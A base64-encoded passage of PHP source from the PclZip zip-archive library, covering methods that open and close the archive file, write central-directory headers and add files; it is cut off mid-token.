LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZPcGVuRmQoJHBfbW9kZSkKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICAvLyAtLS0tLSBMb29rIGlmIGFscmVhZHkgb3BlbgogICAgaWYgKCR0aGlzLT56aXBfZmQgIT0gMCkKICAgIHsKICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwsICdaaXAgZmlsZSBcJycuJHRoaXMtPnppcG5hbWUuJ1wnIGFscmVhZHkgb3BlbicpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgfQoKICAgIC8vIC0tLS0tIE9wZW4gdGhlIHppcCBmaWxlCiAgICBpZiAoKCR0aGlzLT56aXBfZmQgPSBAZm9wZW4oJHRoaXMtPnppcG5hbWUsICRwX21vZGUpKSA9PSAwKQogICAgewogICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9SRUFEX09QRU5fRkFJTCwgJ1VuYWJsZSB0byBvcGVuIGFyY2hpdmUgXCcnLiR0aGlzLT56aXBuYW1lLidcJyBpbiAnLiRwX21vZGUuJyBtb2RlJyk7CgogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdkNsb3NlRmQoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZDbG9zZUZkKCkKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICBpZiAoJHRoaXMtPnppcF9mZCAhPSAwKQogICAgICBAZmNsb3NlKCR0aGlzLT56aXBfZmQpOwogICAgJHRoaXMtPnppcF9mZCA9IDA7CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdkFkZExpc3QoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgICRwX2FkZF9kaXIgYW5kICRwX3JlbW92ZV9kaXIgd2lsbCBnaXZlIHRoZSBhYmlsaXR5IHRvIG1lbW9yaXplIGEgcGF0aCB3aGljaCBpcwogIC8vICAgZGlmZmVyZW50IGZyb20gdGhlIHJlYWwgcGF0aCBvZiB0aGUgZmlsZS4gVGhpcyBpcyB1c2VmdWxsIGlmIHlvdSB3YW50IHRvIGhhdmUgUGNsVGFyCiAgLy8gICBydW5uaW5nIGluIGFueSBkaXJlY3RvcnksIGFuZCBtZW1vcml6ZSByZWxhdGl2ZSBwYXRoIGZyb20gYW4gb3RoZXIgZGlyZWN0b3J5LgogIC8vIFBhcmFtZXRlcnMgOgogIC8vICAgJHBfbGlzdCA6IEFuIGFycmF5IGNvbnRhaW5pbmcgdGhlIGZpbGUgb3IgZGlyZWN0b3J5IG5hbWVzIHRvIGFkZCBpbiB0aGUgdGFyCiAgLy8gICAkcF9yZXN1bHRfbGlzdCA6IGxpc3Qgb2YgYWRkZWQgZmlsZXMgd2l0aCB0aGVpciBwcm9wZXJ0aWVzIChzcGVjaWFsbHkgdGhlIHN0YXR1cyBmaWVsZCkKICAvLyAgICRwX2FkZF9kaXIgOiBQYXRoIHRvIGFkZCBpbiB0aGUgZmlsZW5hbWUgcGF0aCBhcmNoaXZlZAogIC8vICAgJHBfcmVtb3ZlX2RpciA6IFBhdGggdG8gcmVtb3ZlIGluIHRoZSBmaWxlbmFtZSBwYXRoIGFyY2hpdmVkCiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gIGZ1bmN0aW9uIHByaXZBZGRMaXN0KCRwX2xpc3QsICYkcF9yZXN1bHRfbGlzdCwgJHBfYWRkX2RpciwgJHBfcmVtb3ZlX2RpciwgJHBfcmVtb3ZlX2FsbF9kaXIsICYkcF9vcHRpb25zKQogIGZ1bmN0aW9uIHByaXZBZGRMaXN0KCRwX2ZpbGVkZXNjcl9saXN0LCAmJHBfcmVzdWx0X2xpc3QsICYkcF9vcHRpb25zKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIEFkZCB0aGUgZmlsZXMKICAgICR2X2hlYWRlcl9saXN0ID0gYXJyYXkoKTsKICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZBZGRGaWxlTGlzdCgkcF9maWxlZGVzY3JfbGlzdCwgJHZfaGVhZGVyX2xpc3QsICRwX29wdGlvbnMpKSAhPSAxKQogICAgewogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgIH0KCiAgICAvLyAtLS0tLSBTdG9yZSB0aGUgb2Zmc2V0IG9mIHRoZSBjZW50cmFsIGRpcgogICAgJHZfb2Zmc2V0ID0gQGZ0ZWxsKCR0aGlzLT56aXBfZmQpOwoKICAgIC8vIC0tLS0tIENyZWF0ZSB0aGUgQ2VudHJhbCBEaXIgZmlsZXMgaGVhZGVyCiAgICBmb3IgKCRpPTAsJHZfY291bnQ9MDsgJGk8c2l6ZW9mKCR2X2hlYWRlcl9saXN0KTsgJGkrKykKICAgIHsKICAgICAgLy8gLS0tLS0gQ3JlYXRlIHRoZSBmaWxlIGhlYWRlcgogICAgICBpZiAoJHZfaGVhZGVyX2xpc3RbJGldWydzdGF0dXMnXSA9PSAnb2snKSB7CiAgICAgICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdldyaXRlQ2VudHJhbEZpbGVIZWFkZXIoJHZfaGVhZGVyX2xpc3RbJGldKSkgIT0gMSkgewogICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgIH0KICAgICAgICAkdl9jb3VudCsrOwogICAgICB9CgogICAgICAvLyAtLS0tLSBUcmFuc2Zvcm0gdGhlIGhlYWRlciB0byBhICd1c2FibGUnIGluZm8KICAgICAgJHRoaXMtPnByaXZDb252ZXJ0SGVhZGVyMkZpbGVJbmZvKCR2X2hlYWRlcl9saXN0WyRpXSwgJHBfcmVzdWx0X2xpc3RbJGldKTsKICAgIH0KCiAgICAvLyAtLS0tLSBaaXAgZmlsZSBjb21tZW50CiAgICAkdl9jb21tZW50ID0gJyc7CiAgICBpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0NPTU1FTlRdKSkgewogICAgICAkdl9jb21tZW50ID0gJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0NPTU1FTlRdOwogICAgfQoKICAgIC8vIC0tLS0tIENhbGN1bGF0ZSB0aGUgc2l6ZSBvZiB0aGUgY2VudHJhbCBoZWFkZXIKICAgICR2X3NpemUgPSBAZnRlbGwoJHRoaXMtPnppcF9mZCktJHZfb2Zmc2V0OwoKICAgIC8vIC0tLS0tIENyZWF0ZSB0aGUgY2VudHJhbCBkaXIgZm9vdGVyCiAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2V3JpdGVDZW50cmFsSGVhZGVyKCR2X2NvdW50LCAkdl9zaXplLCAkdl9vZmZzZXQsICR2X2NvbW1lbnQpKSAhPSAxKQogICAgewogICAgICAvLyAtLS0tLSBSZXNldCB0aGUgZmlsZSBsaXN0CiAgICAgIHVuc2V0KCR2X2hlYWRlcl9saXN0KTsKCiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZBZGRGaWxlTGlzdCgpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vICAgJHBfZmlsZWRlc2NyX2xpc3QgOiBBbiBhcnJheSBjb250YWluaW5nIHRoZSBmaWxlIGRlc2NyaXB0aW9uCiAgLy8gICAgICAgICAgICAgICAgICAgICAgb3IgZGlyZWN0b3J5IG5hbWVzIHRvIGFkZCBpbiB0aGUgemlwCiAgLy8gICAkcF9yZXN1bHRfbGlzdCA6IGxpc3Qgb2YgYWRkZWQgZmlsZXMgd2l0aCB0aGVpciBwcm9wZXJ0aWVzIChzcGVjaWFsbHkgdGhlIHN0YXR1cyBmaWVsZCkKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZBZGRGaWxlTGlzdCgkcF9maWxlZGVzY3JfbGlzdCwgJiRwX3Jlc3VsdF9saXN0LCAmJHBfb3B0aW9ucykKICB7CiAgICAkdl9yZXN1bHQ9MTsKICAgICR2X2hlYWRlciA9IGFycmF5KCk7CgogICAgLy8gLS0tLS0gUmVjdXBlcmF0ZSB0aGUgY3VycmVudCBudW1iZXIgb2YgZWx0IGluIGxpc3QKICAgICR2X25iID0gc2l6ZW9mKCRwX3Jlc3VsdF9saXN0KTsKCiAgICAvLyAtLS0tLSBMb29wIG9uIHRoZSBmaWxlcwogICAgZm9yICgkaj0wOyAoJGo8c2l6ZW9mKCRwX2ZpbGVkZXNjcl9saXN0KSkgJiYgKCR2X3Jlc3VsdD09MSk7ICRqKyspIHsKICAgICAgLy8gLS0tLS0gRm9ybWF0IHRoZSBmaWxlbmFtZQogICAgICAkcF9maWxlZGVzY3JfbGlzdFskal1bJ2ZpbGVuYW1lJ10KICAgICAgPSBQY2xaaXBVdGlsVHJhbnNsYXRlV2luUGF0aCgkcF9maWxlZGVzY3JfbGlzdFskal1bJ2ZpbGVuYW1lJ10sIGZhbHNlKTsKCgogICAgICAvLyAtLS0tLSBTa2lwIGVtcHR5IGZpbGUgbmFtZXMKICAgICAgLy8gVEJDIDogQ2FuIHRoaXMgYmUgcG9zc2libGUgPyBub3QgY2hlY2tlZCBpbiBEZXNjclBhcnNlQXR0ID8KICAgICAgaWYgKCRwX2ZpbGVkZXNjcl9saXN0WyRqXVsnZmlsZW5hbWUnXSA9PSAiIikgewogICAgICAgIGNvbnRpbnVlOwogICAgICB9CgogICAgICAvLyAtLS0tLSBDaGVjayB0aGUgZmlsZW5hbWUKICAgICAgaWYgKCAgICgkcF9maWxlZGVzY3JfbGlzdFskal1bJ3R5cGUnXSAhPSAndmlydHVhbF9maWxlJykKICAgICAgICAgICYmICghZmlsZV9leGlzdHMoJHBfZmlsZWRlc2NyX2xpc3RbJGpdWydmaWxlbmFtZSddKSkpIHsKICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX01JU1NJTkdfRklMRSwgIkZpbGUgJyIuJHBfZmlsZWRlc2NyX2xpc3RbJGpdWydmaWxlbmFtZSddLiInIGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgaWYgaXQgaXMgYSBmaWxlIG9yIGEgZGlyIHdpdGggbm8gYWxsIHBhdGggcmVtb3ZlIG9wdGlvbgogICAgICAvLyBvciBhIGRpciB3aXRoIGFsbCBpdHMgcGF0aCByZW1vdmVkCi8vICAgICAgaWYgKCAgIChpc19maWxlKCRwX2ZpbGVkZXNjcl9saXN0WyRqXVsnZmlsZW5hbWUnXSkpCi8vICAgICAgICAgIHx8ICggICBpc19kaXIoJHBfZmlsZWRlc2NyX2xpc3RbJGpdWydmaWxlbmFtZSddKQogICAgICBpZiAoICAgKCRwX2ZpbGVkZXNjcl9saXN0WyRqXVsndHlwZSddID09ICdmaWxlJykKICAgICAgICAgIHx8ICgkcF9maWxlZGVzY3JfbGlzdFskal1bJ3R5cGUnXSA9PSAndmlydHVhbF9maWxlJykKICAgICAgICAgIHx8ICggICAoJHBfZmlsZWRlc2NyX2xpc3RbJGpdWyd0eXBlJ10gPT0gJ2ZvbGRlcicpCiAgICAgICAgICAgICAgJiYgKCAgICFpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfUkVNT1ZFX0FMTF9QQVRIXSkKICAgICAgICAgICAgICAgICAgfHwgISRwX29wdGlvbnNbUENMWklQX09QVF9SRU1PVkVfQUxMX1BBVEhdKSkKICAgICAgICAgICkgewoKICAgICAgICAvLyAtLS0tLSBBZGQgdGhlIGZpbGUKICAgICAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkFkZEZpbGUoJHBfZmlsZWRlc2NyX2xpc3RbJGpdLCAkdl9oZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwX29wdGlvbnMpOwogICAgICAgIGlmICgkdl9yZXN1bHQgIT0gMSkgewogICAgICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgICAgICB9CgogICAgICAgIC8vIC0tLS0tIFN0b3JlIHRoZSBmaWxlIGluZm9zCiAgICAgICAgJHBfcmVzdWx0X2xpc3RbJHZfbmIrK10gPSAkdl9oZWFkZXI7CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2QWRkRmlsZSgpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdkFkZEZpbGUoJHBfZmlsZWRlc2NyLCAmJHBfaGVhZGVyLCAmJHBfb3B0aW9ucykKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICAvLyAtLS0tLSBXb3JraW5nIHZhcmlhYmxlCiAgICAkcF9maWxlbmFtZSA9ICRwX2ZpbGVkZXNjclsnZmlsZW5hbWUnXTsKCiAgICAvLyBUQkMgOiBBbHJlYWR5IGRvbmUgaW4gdGhlIGZpbGVBdHQgY2hlY2sgLi4uID8KICAgIGlmICgkcF9maWxlbmFtZSA9PSAiIikgewogICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIkludmFsaWQgZmlsZSBsaXN0IHBhcmFtZXRlciAoaW52YWxpZCBvciBlbXB0eSBsaXN0KSIpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIGEgc3RvcmVkIGRpZmZlcmVudCBmaWxlbmFtZQogICAgLyogVEJDIDogUmVtb3ZlZAogICAgaWYgKGlzc2V0KCRwX2ZpbGVkZXNjclsnc3RvcmVkX2ZpbGVuYW1lJ10pKSB7CiAgICAgICR2X3N0b3JlZF9maWxlbmFtZSA9ICRwX2ZpbGVkZXNjclsnc3RvcmVkX2ZpbGVuYW1lJ107CiAgICB9CiAgICBlbHNlIHsKICAgICAgJHZfc3RvcmVkX2ZpbGVuYW1lID0gJHBfZmlsZWRlc2NyWydzdG9yZWRfZmlsZW5hbWUnXTsKICAgIH0KICAgICovCgogICAgLy8gLS0tLS0gU2V0IHRoZSBmaWxlIHByb3BlcnRpZXMKICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAkcF9oZWFkZXJbJ3ZlcnNpb24nXSA9IDIwOwogICAgJHBfaGVhZGVyWyd2ZXJzaW9uX2V4dHJhY3RlZCddID0gMTA7CiAgICAkcF9oZWFkZXJbJ2ZsYWcnXSA9IDA7CiAgICAkcF9oZWFkZXJbJ2NvbXByZXNzaW9uJ10gPSAwOwogICAgJHBfaGVhZGVyWydjcmMnXSA9IDA7CiAgICAkcF9oZWFkZXJbJ2NvbXByZXNzZWRfc2l6ZSddID0gMDsKICAgICRwX2hlYWRlclsnZmlsZW5hbWVfbGVuJ10gPSBzdHJsZW4oJHBfZmlsZW5hbWUpOwogICAgJHBfaGVhZGVyWydleHRyYV9sZW4nXSA9IDA7CiAgICAkcF9oZWFkZXJbJ2Rpc2snXSA9IDA7CiAgICAkcF9oZWFkZXJbJ2ludGVybmFsJ10gPSAwOwogICAgJHBfaGVhZGVyWydvZmZzZXQnXSA9IDA7CiAgICAkcF9oZWFkZXJbJ2ZpbGVuYW1lJ10gPSAkcF9maWxlbmFtZTsKLy8gVEJDIDogUmVtb3ZlZCAgICAkcF9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddID0gJHZfc3RvcmVkX2ZpbGVuYW1lOwogICAgJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSA9ICRwX2ZpbGVkZXNjclsnc3RvcmVkX2ZpbGVuYW1lJ107CiAgICAkcF9oZWFkZXJbJ2V4dHJhJ10gPSAnJzsKICAgICRwX2hlYWRlclsnc3RhdHVzJ10gPSAnb2snOwogICAgJHBfaGVhZGVyWydpbmRleCddID0gLTE7CgogICAgLy8gLS0tLS0gTG9vayBmb3IgcmVndWxhciBmaWxlCiAgICBpZiAoJHBfZmlsZWRlc2NyWyd0eXBlJ109PSdmaWxlJykgewogICAgICAkcF9oZWFkZXJbJ2V4dGVybmFsJ10gPSAweDAwMDAwMDAwOwogICAgICAkcF9oZWFkZXJbJ3NpemUnXSA9IGZpbGVzaXplKCRwX2ZpbGVuYW1lKTsKICAgIH0KCiAgICAvLyAtLS0tLSBMb29rIGZvciByZWd1bGFyIGZvbGRlcgogICAgZWxzZSBpZiAoJHBfZmlsZWRlc2NyWyd0eXBlJ109PSdmb2xkZXInKSB7CiAgICAgICRwX2hlYWRlclsnZXh0ZXJuYWwnXSA9IDB4MDAwMDAwMTA7CiAgICAgICRwX2hlYWRlclsnbXRpbWUnXSA9IGZpbGVtdGltZSgkcF9maWxlbmFtZSk7CiAgICAgICRwX2hlYWRlclsnc2l6ZSddID0gZmlsZXNpemUoJHBfZmlsZW5hbWUpOwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHZpcnR1YWwgZmlsZQogICAgZWxzZSBpZiAoJHBfZmlsZWRlc2NyWyd0eXBlJ10gPT0gJ3ZpcnR1YWxfZmlsZScpIHsKICAgICAgJHBfaGVhZGVyWydleHRlcm5hbCddID0gMHgwMDAwMDAwMDsKICAgICAgJHBfaGVhZGVyWydzaXplJ10gPSBzdHJsZW4oJHBfZmlsZWRlc2NyWydjb250ZW50J10pOwogICAgfQoKCiAgICAvLyAtLS0tLSBMb29rIGZvciBmaWxldGltZQogICAgaWYgKGlzc2V0KCRwX2ZpbGVkZXNjclsnbXRpbWUnXSkpIHsKICAgICAgJHBfaGVhZGVyWydtdGltZSddID0gJHBfZmlsZWRlc2NyWydtdGltZSddOwogICAgfQogICAgZWxzZSBpZiAoJHBfZmlsZWRlc2NyWyd0eXBlJ10gPT0gJ3ZpcnR1YWxfZmlsZScpIHsKICAgICAgJHBfaGVhZGVyWydtdGltZSddID0gdGltZSgpOwogICAgfQogICAgZWxzZSB7CiAgICAgICRwX2hlYWRlclsnbXRpbWUnXSA9IGZpbGVtdGltZSgkcF9maWxlbmFtZSk7CiAgICB9CgogICAgLy8gLS0tLS0tIExvb2sgZm9yIGZpbGUgY29tbWVudAogICAgaWYgKGlzc2V0KCRwX2ZpbGVkZXNjclsnY29tbWVudCddKSkgewogICAgICAkcF9oZWFkZXJbJ2NvbW1lbnRfbGVuJ10gPSBzdHJsZW4oJHBfZmlsZWRlc2NyWydjb21tZW50J10pOwogICAgICAkcF9oZWFkZXJbJ2NvbW1lbnQnXSA9ICRwX2ZpbGVkZXNjclsnY29tbWVudCddOwogICAgfQogICAgZWxzZSB7CiAgICAgICRwX2hlYWRlclsnY29tbWVudF9sZW4nXSA9IDA7CiAgICAgICRwX2hlYWRlclsnY29tbWVudCddID0gJyc7CiAgICB9CgogICAgLy8gLS0tLS0gTG9vayBmb3IgcHJlLWFkZCBjYWxsYmFjawogICAgaWYgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX0NCX1BSRV9BRERdKSkgewoKICAgICAgLy8gLS0tLS0gR2VuZXJhdGUgYSBsb2NhbCBpbmZvcm1hdGlvbgogICAgICAkdl9sb2NhbF9oZWFkZXIgPSBhcnJheSgpOwogICAgICAkdGhpcy0+cHJpdkNvbnZlcnRIZWFkZXIyRmlsZUluZm8oJHBfaGVhZGVyLCAkdl9sb2NhbF9oZWFkZXIpOwoKICAgICAgLy8gLS0tLS0gQ2FsbCB0aGUgY2FsbGJhY2sKICAgICAgLy8gSGVyZSBJIGRvIG5vdCB1c2UgY2FsbF91c2VyX2Z1bmMoKSBiZWNhdXNlIEkgbmVlZCB0byBzZW5kIGEgcmVmZXJlbmNlIHRvIHRoZQogICAgICAvLyBoZWFkZXIuCiAgICAgICR2X3Jlc3VsdCA9ICRwX29wdGlvbnNbUENMWklQX0NCX1BSRV9BRERdKFBDTFpJUF9DQl9QUkVfQURELCAkdl9sb2NhbF9oZWFkZXIpOwogICAgICBpZiAoJHZfcmVzdWx0ID09IDApIHsKICAgICAgICAvLyAtLS0tLSBDaGFuZ2UgdGhlIGZpbGUgc3RhdHVzCiAgICAgICAgJHBfaGVhZGVyWydzdGF0dXMnXSA9ICJza2lwcGVkIjsKICAgICAgICAkdl9yZXN1bHQgPSAxOwogICAgICB9CgogICAgICAvLyAtLS0tLSBVcGRhdGUgdGhlIGluZm9ybWF0aW9ucwogICAgICAvLyBPbmx5IHNvbWUgZmllbGRzIGNhbiBiZSBtb2RpZmllZAogICAgICBpZiAoJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSAhPSAkdl9sb2NhbF9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddKSB7CiAgICAgICAgJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSA9IFBjbFppcFV0aWxQYXRoUmVkdWN0aW9uKCR2X2xvY2FsX2hlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10pOwogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gTG9vayBmb3IgZW1wdHkgc3RvcmVkIGZpbGVuYW1lCiAgICBpZiAoJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSA9PSAiIikgewogICAgICAkcF9oZWFkZXJbJ3N0YXR1cyddID0gImZpbHRlcmVkIjsKICAgIH0KCiAgICAvLyAtLS0tLSBDaGVjayB0aGUgcGF0aCBsZW5ndGgKICAgIGlmIChzdHJsZW4oJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSkgPiAweEZGKSB7CiAgICAgICRwX2hlYWRlclsnc3RhdHVzJ10gPSAnZmlsZW5hbWVfdG9vX2xvbmcnOwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgaWYgbm8gZXJyb3IsIG9yIGZpbGUgbm90IHNraXBwZWQKICAgIGlmICgkcF9oZWFkZXJbJ3N0YXR1cyddID09ICdvaycpIHsKCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGEgZmlsZQogICAgICBpZiAoJHBfZmlsZWRlc2NyWyd0eXBlJ10gPT0gJ2ZpbGUnKSB7CiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgdXNpbmcgdGVtcG9yYXJ5IGZpbGUgdG8gemlwCiAgICAgICAgaWYgKCAoIWlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9URU1QX0ZJTEVfT0ZGXSkpCiAgICAgICAgICAgICYmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfVEVNUF9GSUxFX09OXSkKICAgICAgICAgICAgICAgIHx8IChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfVEVNUF9GSUxFX1RIUkVTSE9MRF0pCiAgICAgICAgICAgICAgICAgICAgJiYgKCRwX29wdGlvbnNbUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEXSA8PSAkcF9oZWFkZXJbJ3NpemUnXSkpICkgKSB7CiAgICAgICAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkFkZEZpbGVVc2luZ1RlbXBGaWxlKCRwX2ZpbGVkZXNjciwgJHBfaGVhZGVyLCAkcF9vcHRpb25zKTsKICAgICAgICAgIGlmICgkdl9yZXN1bHQgPCBQQ0xaSVBfRVJSX05PX0VSUk9SKSB7CiAgICAgICAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyAtLS0tLSBVc2UgImluIG1lbW9yeSIgemlwIGFsZ28KICAgICAgICBlbHNlIHsKCiAgICAgICAgLy8gLS0tLS0gT3BlbiB0aGUgc291cmNlIGZpbGUKICAgICAgICBpZiAoKCR2X2ZpbGUgPSBAZm9wZW4oJHBfZmlsZW5hbWUsICJyYiIpKSA9PSAwKSB7CiAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX1JFQURfT1BFTl9GQUlMLCAiVW5hYmxlIHRvIG9wZW4gZmlsZSAnJHBfZmlsZW5hbWUnIGluIGJpbmFyeSByZWFkIG1vZGUiKTsKICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gUmVhZCB0aGUgZmlsZSBjb250ZW50CiAgICAgICAgJHZfY29udGVudCA9IEBmcmVhZCgkdl9maWxlLCAkcF9oZWFkZXJbJ3NpemUnXSk7CgogICAgICAgIC8vIC0tLS0tIENsb3NlIHRoZSBmaWxlCiAgICAgICAgQGZjbG9zZSgkdl9maWxlKTsKCiAgICAgICAgLy8gLS0tLS0gQ2FsY3VsYXRlIHRoZSBDUkMKICAgICAgICAkcF9oZWFkZXJbJ2NyYyddID0gQGNyYzMyKCR2X2NvbnRlbnQpOwoKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBubyBjb21wcmVzc2lvbgogICAgICAgIGlmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfTk9fQ09NUFJFU1NJT05dKSB7CiAgICAgICAgICAvLyAtLS0tLSBTZXQgaGVhZGVyIHBhcmFtZXRlcnMKICAgICAgICAgICRwX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSAkcF9oZWFkZXJbJ3NpemUnXTsKICAgICAgICAgICRwX2hlYWRlclsnY29tcHJlc3Npb24nXSA9IDA7CiAgICAgICAgfQoKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBub3JtYWwgY29tcHJlc3Npb24KICAgICAgICBlbHNlIHsKICAgICAgICAgIC8vIC0tLS0tIENvbX